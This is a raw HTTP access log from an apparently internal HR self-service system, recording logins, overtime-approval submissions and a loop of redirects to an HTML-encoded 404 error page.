/ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132666%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132666&target=iframe HTTP/1.1" 302 108 100.64.0.1 - - [01/Dec/2025:18:25:56 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:18:25:56 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 172.16.88.185 - - [01/Dec/2025:18:30:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:30:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 172.16.88.185 - - [01/Dec/2025:18:31:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:31:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:31:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:31:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:31:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7221 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:31:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7221 172.16.88.185 - - [01/Dec/2025:18:31:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9233 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:31:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9233 172.16.88.185 - - [01/Dec/2025:18:31:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11653 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:31:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11653 172.16.88.185 - - [01/Dec/2025:18:32:11 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:11 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132667%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132667&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132667%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132667&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:32:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:32:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:35:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 172.16.88.185 - - [01/Dec/2025:18:35:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 172.16.88.185 - - [01/Dec/2025:18:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 172.16.88.185 - - [01/Dec/2025:18:35:42 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 